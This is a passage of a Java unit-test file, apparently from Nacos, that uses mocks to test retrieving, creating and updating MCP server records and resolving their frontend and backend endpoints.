getMcpServerDetailByIdFoundHttpTypeWithoutToolsWithNamespace() throws NacosException {\n        String id = mockId();\n        final ConfigQueryChainResponse versionDataResponse = mockConfigQueryChainResponse(mockServerVersionInfo(id));\n        final McpServerStorageInfo mockStorageInfo = mockStorageInfo(id, true, false,\n                AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        final McpServerRemoteServiceConfig remoteServiceConfig = new McpServerRemoteServiceConfig();\n        McpServiceRef serviceRef = new McpServiceRef();\n        serviceRef.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        serviceRef.setNamespaceId(Constants.MCP_SERVER_ENDPOINT_GROUP);\n        serviceRef.setServiceName(\"mcpName\");\n        remoteServiceConfig.setServiceRef(serviceRef);\n        remoteServiceConfig.setExportPath(\"/nacos\");\n        mockStorageInfo.setRemoteServerConfig(remoteServiceConfig);\n        ConfigQueryChainResponse storageDataResponse = mockConfigQueryChainResponse(mockStorageInfo);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionDataResponse,\n                storageDataResponse);\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8848);\n        when(endpointOperationService.getMcpServerEndpointInstances(any(McpServiceRef.class))).thenReturn(\n                Collections.singletonList(instance));\n        McpServerDetailInfo actual = serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                id, null, null);\n        assertEquals(id, actual.getId());\n        assertEquals(\"mcpName\", actual.getName());\n        assertEquals(\"9.9.9\", actual.getVersion());\n        assertEquals(\"9.9.9\", actual.getVersionDetail().getVersion());\n        assertTrue(actual.getVersionDetail().getIs_latest());\n        assertNull(actual.getToolSpec());\n        verify(toolOperationService, never()).getMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                McpConfigUtils.formatServerToolSpecDataId(id, \"9.9.9\"));\n        assertEquals(\"127.0.0.1\", actual.getBackendEndpoints().get(0).getAddress());\n        assertEquals(8848, actual.getBackendEndpoints().get(0).getPort());\n        assertEquals(\"/nacos\", actual.getBackendEndpoints().get(0).getPath());\n    }\n    \n    @Test\n    void getMcpServerDetailByIdWithServiceRefFrontEndpoint() throws NacosException {\n        String id = mockId();\n        final ConfigQueryChainResponse versionDataResponse = mockConfigQueryChainResponse(mockServerVersionInfo(id));\n        final McpServerStorageInfo mockStorageInfo = mockStorageInfo(id, true, false,\n                AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        final McpServerRemoteServiceConfig remoteServiceConfig = new McpServerRemoteServiceConfig();\n        McpServiceRef serviceRef = new McpServiceRef();\n        serviceRef.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        serviceRef.setNamespaceId(Constants.MCP_SERVER_ENDPOINT_GROUP);\n        serviceRef.setServiceName(\"mcpName\");\n        remoteServiceConfig.setFrontEndpointConfigList(new LinkedList<>());\n        remoteServiceConfig.getFrontEndpointConfigList().add(new FrontEndpointConfig());\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setType(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setEndpointData(serviceRef);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setEndpointType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_REF);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setPath(\"/sse\");\n        mockStorageInfo.setRemoteServerConfig(remoteServiceConfig);\n        ConfigQueryChainResponse storageDataResponse = mockConfigQueryChainResponse(mockStorageInfo);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionDataResponse,\n                storageDataResponse);\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8848);\n        when(endpointOperationService.getMcpServerEndpointInstances(any(McpServiceRef.class))).thenReturn(\n                Collections.singletonList(instance));\n        when(endpointOperationService.getMcpServerEndpointInstances(isNull())).thenReturn(\n                Collections.emptyList());\n        McpServerDetailInfo actual = serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                id, null, null);\n        assertEquals(id, actual.getId());\n        assertEquals(\"mcpName\", actual.getName());\n        assertEquals(\"9.9.9\", actual.getVersion());\n        assertEquals(\"9.9.9\", actual.getVersionDetail().getVersion());\n        assertTrue(actual.getVersionDetail().getIs_latest());\n        assertNull(actual.getToolSpec());\n        verify(toolOperationService, never()).getMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                McpConfigUtils.formatServerToolSpecDataId(id, \"9.9.9\"));\n        assertEquals(\"127.0.0.1\", actual.getFrontendEndpoints().get(0).getAddress());\n        assertEquals(8848, actual.getFrontendEndpoints().get(0).getPort());\n        assertEquals(\"/sse\", actual.getFrontendEndpoints().get(0).getPath());\n    }\n    \n    @Test\n    void getMcpServerDetailByIdWithDirectFrontEndpoint() throws NacosException {\n        String id = mockId();\n        final ConfigQueryChainResponse versionDataResponse = mockConfigQueryChainResponse(mockServerVersionInfo(id));\n        final McpServerStorageInfo mockStorageInfo = mockStorageInfo(id, true, false,\n                AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        final McpServerRemoteServiceConfig remoteServiceConfig = new McpServerRemoteServiceConfig();\n        remoteServiceConfig.setFrontEndpointConfigList(new LinkedList<>());\n        remoteServiceConfig.getFrontEndpointConfigList().add(new FrontEndpointConfig());\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setType(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setEndpointData(\"127.0.0.1:8848\");\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setEndpointType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setPath(\"/sse\");\n        mockStorageInfo.setRemoteServerConfig(remoteServiceConfig);\n        ConfigQueryChainResponse storageDataResponse = mockConfigQueryChainResponse(mockStorageInfo);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionDataResponse,\n                storageDataResponse);\n        when(endpointOperationService.getMcpServerEndpointInstances(isNull())).thenReturn(\n                Collections.emptyList());\n        McpServerDetailInfo actual = serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                id, null, null);\n        assertEquals(id, actual.getId());\n        assertEquals(\"mcpName\", actual.getName());\n        assertEquals(\"9.9.9\", actual.getVersion());\n        assertEquals(\"9.9.9\", actual.getVersionDetail().getVersion());\n        assertTrue(actual.getVersionDetail().getIs_latest());\n        assertNull(actual.getToolSpec());\n        verify(toolOperationService, never()).getMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                McpConfigUtils.formatServerToolSpecDataId(id, \"9.9.9\"));\n        assertEquals(\"127.0.0.1\", actual.getFrontendEndpoints().get(0).getAddress());\n        assertEquals(8848, actual.getFrontendEndpoints().get(0).getPort());\n        assertEquals(\"/sse\", actual.getFrontendEndpoints().get(0).getPath());\n    }\n    \n    @Test\n    void getMcpServerDetailByIdWithDirectNoPortFrontEndpoint() throws NacosException {\n        String id = mockId();\n        final ConfigQueryChainResponse versionDataResponse = mockConfigQueryChainResponse(mockServerVersionInfo(id));\n        final McpServerStorageInfo mockStorageInfo = mockStorageInfo(id, true, false,\n                AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        final McpServerRemoteServiceConfig remoteServiceConfig = new McpServerRemoteServiceConfig();\n        remoteServiceConfig.setFrontEndpointConfigList(new LinkedList<>());\n        remoteServiceConfig.getFrontEndpointConfigList().add(new FrontEndpointConfig());\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setType(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setEndpointData(\"127.0.0.1\");\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setEndpointType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setPath(\"/sse\");\n        mockStorageInfo.setRemoteServerConfig(remoteServiceConfig);\n        ConfigQueryChainResponse storageDataResponse = mockConfigQueryChainResponse(mockStorageInfo);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionDataResponse,\n                storageDataResponse);\n        when(endpointOperationService.getMcpServerEndpointInstances(isNull())).thenReturn(\n                Collections.emptyList());\n        McpServerDetailInfo actual = serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                id, null, null);\n        assertEquals(id, actual.getId());\n        assertEquals(\"mcpName\", actual.getName());\n        assertEquals(\"9.9.9\", actual.getVersion());\n        assertEquals(\"9.9.9\", actual.getVersionDetail().getVersion());\n        assertTrue(actual.getVersionDetail().getIs_latest());\n        assertNull(actual.getToolSpec());\n        verify(toolOperationService, never()).getMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                McpConfigUtils.formatServerToolSpecDataId(id, \"9.9.9\"));\n        assertEquals(\"127.0.0.1\", actual.getFrontendEndpoints().get(0).getAddress());\n        assertEquals(80, actual.getFrontendEndpoints().get(0).getPort());\n        assertEquals(\"/sse\", actual.getFrontendEndpoints().get(0).getPath());\n    }\n    \n    @Test\n    void getMcpServerDetailByIdWithDirectNoPortForHttpsFrontEndpoint() throws NacosException {\n        String id = mockId();\n        final ConfigQueryChainResponse versionDataResponse = mockConfigQueryChainResponse(mockServerVersionInfo(id));\n        final McpServerStorageInfo mockStorageInfo = mockStorageInfo(id, true, false,\n                AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        final McpServerRemoteServiceConfig remoteServiceConfig = new McpServerRemoteServiceConfig();\n        remoteServiceConfig.setFrontEndpointConfigList(new LinkedList<>());\n        remoteServiceConfig.getFrontEndpointConfigList().add(new FrontEndpointConfig());\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setProtocol(Constants.PROTOCOL_TYPE_HTTPS);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setType(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setEndpointData(\"127.0.0.1\");\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setEndpointType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setPath(\"/sse\");\n        mockStorageInfo.setRemoteServerConfig(remoteServiceConfig);\n        ConfigQueryChainResponse storageDataResponse = mockConfigQueryChainResponse(mockStorageInfo);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionDataResponse,\n                storageDataResponse);\n        when(endpointOperationService.getMcpServerEndpointInstances(isNull())).thenReturn(\n                Collections.emptyList());\n        McpServerDetailInfo actual = serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                id, null, null);\n        assertEquals(id, actual.getId());\n        assertEquals(\"mcpName\", actual.getName());\n        assertEquals(\"9.9.9\", actual.getVersion());\n        assertEquals(\"9.9.9\", actual.getVersionDetail().getVersion());\n        assertTrue(actual.getVersionDetail().getIs_latest());\n        assertNull(actual.getToolSpec());\n        verify(toolOperationService, never()).getMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                McpConfigUtils.formatServerToolSpecDataId(id, \"9.9.9\"));\n        assertEquals(\"127.0.0.1\", actual.getFrontendEndpoints().get(0).getAddress());\n        assertEquals(443, actual.getFrontendEndpoints().get(0).getPort());\n        assertEquals(\"/sse\", actual.getFrontendEndpoints().get(0).getPath());\n    }\n    \n    @Test\n    void getMcpServerDetailByIdWithToBackendFrontEndpoint() throws NacosException {\n        String id = mockId();\n        final ConfigQueryChainResponse versionDataResponse = mockConfigQueryChainResponse(mockServerVersionInfo(id));\n        final McpServerStorageInfo mockStorageInfo = mockStorageInfo(id, true, false,\n                AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        final McpServerRemoteServiceConfig remoteServiceConfig = new McpServerRemoteServiceConfig();\n        McpServiceRef serviceRef = new McpServiceRef();\n        serviceRef.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        serviceRef.setNamespaceId(Constants.MCP_SERVER_ENDPOINT_GROUP);\n        serviceRef.setServiceName(\"mcpName\");\n        remoteServiceConfig.setServiceRef(serviceRef);\n        remoteServiceConfig.setExportPath(\"/nacos\");\n        remoteServiceConfig.setFrontEndpointConfigList(Collections.singletonList(new FrontEndpointConfig()));\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setType(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setEndpointType(AiConstants.Mcp.MCP_FRONT_ENDPOINT_TYPE_TO_BACK);\n        remoteServiceConfig.getFrontEndpointConfigList().get(0).setPath(\"/nacos\");\n        mockStorageInfo.setRemoteServerConfig(remoteServiceConfig);\n        ConfigQueryChainResponse storageDataResponse = mockConfigQueryChainResponse(mockStorageInfo);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionDataResponse,\n                storageDataResponse);\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8848);\n        when(endpointOperationService.getMcpServerEndpointInstances(any(McpServiceRef.class))).thenReturn(\n                Collections.singletonList(instance));\n        McpServerDetailInfo actual = serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                id, null, null);\n        assertEquals(id, actual.getId());\n        assertEquals(\"mcpName\", actual.getName());\n        assertEquals(\"9.9.9\", actual.getVersion());\n        assertEquals(\"9.9.9\", actual.getVersionDetail().getVersion());\n        assertTrue(actual.getVersionDetail().getIs_latest());\n        assertNull(actual.getToolSpec());\n        verify(toolOperationService, never()).getMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                McpConfigUtils.formatServerToolSpecDataId(id, \"9.9.9\"));\n        assertEquals(\"127.0.0.1\", actual.getBackendEndpoints().get(0).getAddress());\n        assertEquals(8848, actual.getBackendEndpoints().get(0).getPort());\n        assertEquals(\"/nacos\", actual.getBackendEndpoints().get(0).getPath());\n        assertEquals(\"127.0.0.1\", actual.getFrontendEndpoints().get(0).getAddress());\n        assertEquals(8848, actual.getFrontendEndpoints().get(0).getPort());\n        assertEquals(\"/nacos\", actual.getFrontendEndpoints().get(0).getPath());\n    }\n    \n    @Test\n    void getMcpServerDetailByIdNotFoundWithNamespace() throws NacosException {\n        String id = mockId();\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(\n                mockConfigQueryChainResponse(null));\n        assertThrows(NacosApiException.class,\n                () -> serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, id, null, null));\n    }\n    \n    @Test\n    void getMcpServerDetailByIdFoundWithNamespace() throws NacosException {\n        String id = mockId();\n        ConfigQueryChainResponse versionDataResponse = mockConfigQueryChainResponse(mockServerVersionInfo(id));\n        ConfigQueryChainResponse storageDataResponse = mockConfigQueryChainResponse(\n                mockStorageInfo(id, true, false, AiConstants.Mcp.MCP_PROTOCOL_STDIO));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionDataResponse,\n                storageDataResponse);\n        McpServerDetailInfo actual = serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                id, null, null);\n        assertEquals(id, actual.getId());\n        assertEquals(\"mcpName\", actual.getName());\n        assertEquals(\"9.9.9\", actual.getVersion());\n        assertEquals(\"9.9.9\", actual.getVersionDetail().getVersion());\n        assertTrue(actual.getVersionDetail().getIs_latest());\n        assertNull(actual.getToolSpec());\n    }\n    \n    @Test\n    void getMcpServerDetailByIdNotFoundWithVersion() throws NacosException {\n        String id = mockId();\n        ConfigQueryChainResponse versionDataResponse = mockConfigQueryChainResponse(mockServerVersionInfo(id));\n        ConfigQueryChainResponse storageDataResponse = mockConfigQueryChainResponse(null);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionDataResponse,\n                storageDataResponse);\n        assertThrows(NacosApiException.class,\n                () -> serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, id, null,\n                        \"non-exist\"));\n    }\n    \n    @Test\n    void getMcpServerDetailByIdFoundWithVersion() throws NacosException {\n        String id = mockId();\n        ConfigQueryChainResponse versionDataResponse = mockConfigQueryChainResponse(mockServerVersionInfo(id));\n        ConfigQueryChainResponse storageDataResponse = mockConfigQueryChainResponse(\n                mockStorageInfo(id, false, false, AiConstants.Mcp.MCP_PROTOCOL_STDIO));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionDataResponse,\n                storageDataResponse);\n        McpServerDetailInfo actual = serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                id, null, \"1.0.0\");\n        assertEquals(id, actual.getId());\n        assertEquals(\"mcpName\", actual.getName());\n        assertEquals(\"1.0.0\", actual.getVersion());\n        assertEquals(\"1.0.0\", actual.getVersionDetail().getVersion());\n        assertFalse(actual.getVersionDetail().getIs_latest());\n        assertNull(actual.getToolSpec());\n    }\n    \n    @Test\n    void getMcpServerDetailByNameNotFound() throws NacosException {\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(\n                mockConfigQueryChainResponse(null));\n        assertThrows(NacosApiException.class,\n                () -> serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, \"mcpName\",\n                        null));\n    }\n    \n    @Test\n    void getMcpServerDetailByNameFound() throws NacosException {\n        String id = mockId();\n        when(mcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\")).thenReturn(\n                mockIndexData(id).getPageItems().get(0));\n        ConfigQueryChainResponse versionDataResponse = mockConfigQueryChainResponse(mockServerVersionInfo(id));\n        ConfigQueryChainResponse storageDataResponse = mockConfigQueryChainResponse(\n                mockStorageInfo(id, true, false, AiConstants.Mcp.MCP_PROTOCOL_STDIO));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionDataResponse,\n                storageDataResponse);\n        McpServerDetailInfo actual = serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                null, \"mcpName\", null);\n        assertEquals(id, actual.getId());\n        assertEquals(\"mcpName\", actual.getName());\n        assertEquals(\"9.9.9\", actual.getVersion());\n        assertEquals(\"9.9.9\", actual.getVersionDetail().getVersion());\n        assertTrue(actual.getVersionDetail().getIs_latest());\n        assertNull(actual.getToolSpec());\n    }\n    \n    @Test\n    void createMcpServerExistedName() {\n        McpServerBasicInfo mockServerBasicInfo = mockServerVersionInfo(\"\");\n        when(mcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\")).thenReturn(\n                mockIndexData(\"id\").getPageItems().get(0));\n        assertThrows(NacosApiException.class,\n                () -> serverOperationService.createMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, mockServerBasicInfo,\n                        null, null));\n    }\n    \n    @Test\n    void createMcpServerWithoutVersion() throws NacosException {\n        McpServerBasicInfo mockServerBasicInfo = mockServerVersionInfo(\"\");\n        mockServerBasicInfo.setVersionDetail(null);\n        assertThrows(NacosApiException.class,\n                () -> serverOperationService.createMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, mockServerBasicInfo,\n                        null, null));\n    }\n    \n    @Test\n    void createMcpServerWithOldSpec() throws NacosException {\n        McpServerBasicInfo mockServerBasicInfo = mockServerVersionInfo(\"\");\n        mockServerBasicInfo.setVersionDetail(null);\n        mockServerBasicInfo.setVersion(\"1.0.0\");\n        String id = serverOperationService.createMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, mockServerBasicInfo,\n                null, null);\n        assertNotNull(id);\n        verify(configOperationService, times(2)).publishConfig(any(ConfigFormV3.class), any(ConfigRequestInfo.class),\n                isNull());\n        verify(mcpServerIndex, times(1)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                mockServerBasicInfo.getName());\n        verify(mcpServerIndex, times(1)).removeMcpServerById(id);\n    }\n    \n    @Test\n    void createMcpServerWithNewSpec() throws NacosException {\n        McpServerBasicInfo mockServerBasicInfo = mockServerVersionInfo(\"\");\n        mockServerBasicInfo.setVersion(null);\n        mockServerBasicInfo.setVersionDetail(mockVersion(\"1.0.0\"));\n        String id = serverOperationService.createMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, mockServerBasicInfo,\n                null, null);\n        assertNotNull(id);\n        verify(configOperationService, times(2)).publishConfig(any(ConfigFormV3.class), any(ConfigRequestInfo.class),\n                isNull());\n        verify(mcpServerIndex, times(1)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                mockServerBasicInfo.getName());\n        verify(mcpServerIndex, times(1)).removeMcpServerById(id);\n    }\n    \n    @Test\n    void createMcpServerWithToolSpec() throws NacosException {\n        McpServerBasicInfo mockServerBasicInfo = mockServerVersionInfo(\"\");\n        mockServerBasicInfo.setVersionDetail(mockVersion(\"1.0.0\"));\n        McpToolSpecification toolSpecification = new McpToolSpecification();\n        toolSpecification.getTools().add(new McpTool());\n        String id = serverOperationService.createMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, mockServerBasicInfo,\n                toolSpecification, null);\n        assertNotNull(id);\n        verify(configOperationService, times(2)).publishConfig(any(ConfigFormV3.class), any(ConfigRequestInfo.class),\n                isNull());\n        verify(toolOperationService).refreshMcpTool(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                any(McpServerStorageInfo.class), eq(toolSpecification));\n        verify(mcpServerIndex, times(1)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                mockServerBasicInfo.getName());\n        verify(mcpServerIndex, times(1)).removeMcpServerById(id);\n    }\n\n    @Test\n    void createMcpServerWithEncryptedToolSpecOnly() throws NacosException {\n        McpServerBasicInfo mockServerBasicInfo = mockServerVersionInfo(\"\");\n        mockServerBasicInfo.setVersionDetail(mockVersion(\"1.0.0\"));\n\n        McpToolSpecification toolSpecification = new McpToolSpecification();\n        toolSpecification.setSpecificationType(\"encrypted\");\n        EncryptObject encryptObject = new EncryptObject();\n        encryptObject.setData(\"ciphertext\");\n        toolSpecification.setEncryptData(encryptObject);\n\n        String id = serverOperationService.createMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, mockServerBasicInfo,\n                toolSpecification, null);\n        assertNotNull(id);\n\n        // should trigger tool refresh even when tools/securitySchemes are empty\n        verify(toolOperationService, times(1)).refreshMcpTool(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                any(McpServerStorageInfo.class), eq(toolSpecification));\n        verify(configOperationService, times(2)).publishConfig(any(ConfigFormV3.class), any(ConfigRequestInfo.class),\n                isNull());\n        verify(mcpServerIndex, times(1)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                mockServerBasicInfo.getName());\n        verify(mcpServerIndex, times(1)).removeMcpServerById(id);\n    }\n\n    @Test\n    void createMcpServerWithEndpointSpec() throws NacosException {\n        McpServerBasicInfo mockServerBasicInfo = mockServerVersionInfo(\"\");\n        mockServerBasicInfo.setVersionDetail(mockVersion(\"1.0.0\"));\n        mockServerBasicInfo.setRemoteServerConfig(new McpServerRemoteServiceConfig());\n        McpEndpointSpec endpointSpec = new McpEndpointSpec();\n        endpointSpec.setType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        endpointSpec.setData(new HashMap<>());\n        endpointSpec.getData().put(Constants.MCP_SERVER_ENDPOINT_ADDRESS, \"127.0.0.1\");\n        endpointSpec.getData().put(Constants.MCP_SERVER_ENDPOINT_PORT, \"8848\");\n        when(endpointOperationService.createMcpServerEndpointServiceIfNecessary(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                \"mcpName\", \"1.0.0\", endpointSpec, false)).thenReturn(\n                Service.newService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, Constants.MCP_SERVER_ENDPOINT_GROUP,\n                        \"mcpName\"));\n        String id = serverOperationService.createMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, mockServerBasicInfo,\n                null, endpointSpec);\n        assertNotNull(id);\n        verify(configOperationService, times(2)).publishConfig(any(ConfigFormV3.class), any(ConfigRequestInfo.class),\n                isNull());\n        verify(mcpServerIndex, times(1)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\");\n        verify(mcpServerIndex, times(1)).removeMcpServerById(id);\n    }\n    \n    @Test\n    void createMcpServerByCustomIdWithException() throws NacosException {\n        McpServerBasicInfo mockServerBasicInfo = mockServerVersionInfo(\"\");\n        mockServerBasicInfo.setVersionDetail(mockVersion(\"1.0.0\"));\n        mockServerBasicInfo.setRemoteServerConfig(new McpServerRemoteServiceConfig());\n        mockServerBasicInfo.setId(\"invalid Id\");\n        McpEndpointSpec endpointSpec = new McpEndpointSpec();\n        endpointSpec.setType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        endpointSpec.setData(new HashMap<>());\n        endpointSpec.getData().put(Constants.MCP_SERVER_ENDPOINT_ADDRESS, \"127.0.0.1\");\n        endpointSpec.getData().put(Constants.MCP_SERVER_ENDPOINT_PORT, \"8848\");\n        assertThrows(NacosApiException.class,\n                () -> serverOperationService.createMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, mockServerBasicInfo,\n                        null, null));\n    }\n    \n    @Test\n    void createMcpServerByCustomIdWithExistedId() throws NacosException {\n        String id = UUID.randomUUID().toString();\n        McpServerBasicInfo mockServerBasicInfo = mockServerVersionInfo(\"\");\n        mockServerBasicInfo.setVersionDetail(mockVersion(\"1.0.0\"));\n        mockServerBasicInfo.setRemoteServerConfig(new McpServerRemoteServiceConfig());\n        mockServerBasicInfo.setId(id);\n        McpEndpointSpec endpointSpec = new McpEndpointSpec();\n        endpointSpec.setType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        endpointSpec.setData(new HashMap<>());\n        endpointSpec.getData().put(Constants.MCP_SERVER_ENDPOINT_ADDRESS, \"127.0.0.1\");\n        endpointSpec.getData().put(Constants.MCP_SERVER_ENDPOINT_PORT, \"8848\");\n        when(mcpServerIndex.getMcpServerById(id)).thenReturn(new McpServerIndexData());\n        assertThrows(NacosApiException.class,\n                () -> serverOperationService.createMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, mockServerBasicInfo,\n                        null, null));\n    }\n    \n    @Test\n    void createMcpServerByCustomId() throws NacosException {\n        String id = UUID.randomUUID().toString();\n        McpServerBasicInfo mockServerBasicInfo = mockServerVersionInfo(\"\");\n        mockServerBasicInfo.setVersionDetail(mockVersion(\"1.0.0\"));\n        mockServerBasicInfo.setRemoteServerConfig(new McpServerRemoteServiceConfig());\n        mockServerBasicInfo.setId(id);\n        McpEndpointSpec endpointSpec = new McpEndpointSpec();\n        endpointSpec.setType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        endpointSpec.setData(new HashMap<>());\n        endpointSpec.getData().put(Constants.MCP_SERVER_ENDPOINT_ADDRESS, \"127.0.0.1\");\n        endpointSpec.getData().put(Constants.MCP_SERVER_ENDPOINT_PORT, \"8848\");\n        when(endpointOperationService.createMcpServerEndpointServiceIfNecessary(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                \"mcpName\", \"1.0.0\", endpointSpec, false)).thenReturn(\n                Service.newService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, Constants.MCP_SERVER_ENDPOINT_GROUP,\n                        \"mcpName\"));\n        String actualId = serverOperationService.createMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                mockServerBasicInfo, null, endpointSpec);\n        assertNotNull(actualId);\n        assertEquals(id, actualId);\n        verify(configOperationService, times(2)).publishConfig(any(ConfigFormV3.class), any(ConfigRequestInfo.class),\n                isNull());\n        verify(mcpServerIndex, times(1)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\");\n        verify(mcpServerIndex, times(1)).removeMcpServerById(id);\n    }\n    \n    @Test\n    void updateMcpServerByIdNotFound() {\n        String id = mockId();\n        McpServerBasicInfo mockServerBasicInfo = mockServerVersionInfo(id);\n        assertThrows(NacosApiException.class,\n                () -> serverOperationService.updateMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, true,\n                        mockServerBasicInfo, null, null, false));\n    }\n    \n    @Test\n    void updateMcpServerByIdWithoutVersion() {\n        String id = mockId();\n        McpServerBasicInfo mockServerBasicInfo = mockServerVersionInfo(id);\n        mockServerBasicInfo.setVersionDetail(null);\n        mockServerBasicInfo.setVersion(null);\n        assertThrows(NacosApiException.class,\n                () -> 